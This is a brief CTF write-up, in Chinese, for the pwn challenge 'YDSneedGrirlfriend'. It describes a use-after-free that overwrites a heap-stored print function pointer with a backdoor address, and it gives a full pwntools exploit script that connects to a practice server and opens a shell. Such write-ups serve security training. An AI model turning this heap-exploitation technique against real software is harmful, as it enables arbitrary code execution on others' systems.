bjdctf_2020_YDSneedGrirlfriend
查看保护
这个题直接double free梭哈(XD
有uaf,创建堆的时候还将print的功能也放到了堆里,申请两个0x31大小的堆,这个时候再创建0x21大小的堆这样就可以直接改功能堆块为backdoor。
此时的print这里的地址已经为backdoor了,然后调用show函数的时候实际上调用的是backdoor
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 29563)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Your choice :'
def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Her name size is :', str(size))
r.sendlineafter('Her name is :', content)
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index :', str(index))
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index :', str(index))
shell = 0x400b9c
add(0x20, 'aaaa')
add(0x20, 'bbbb')
delete(0)
delete(1)
add(0x10, p64(shell))
show(0)
r.interactive()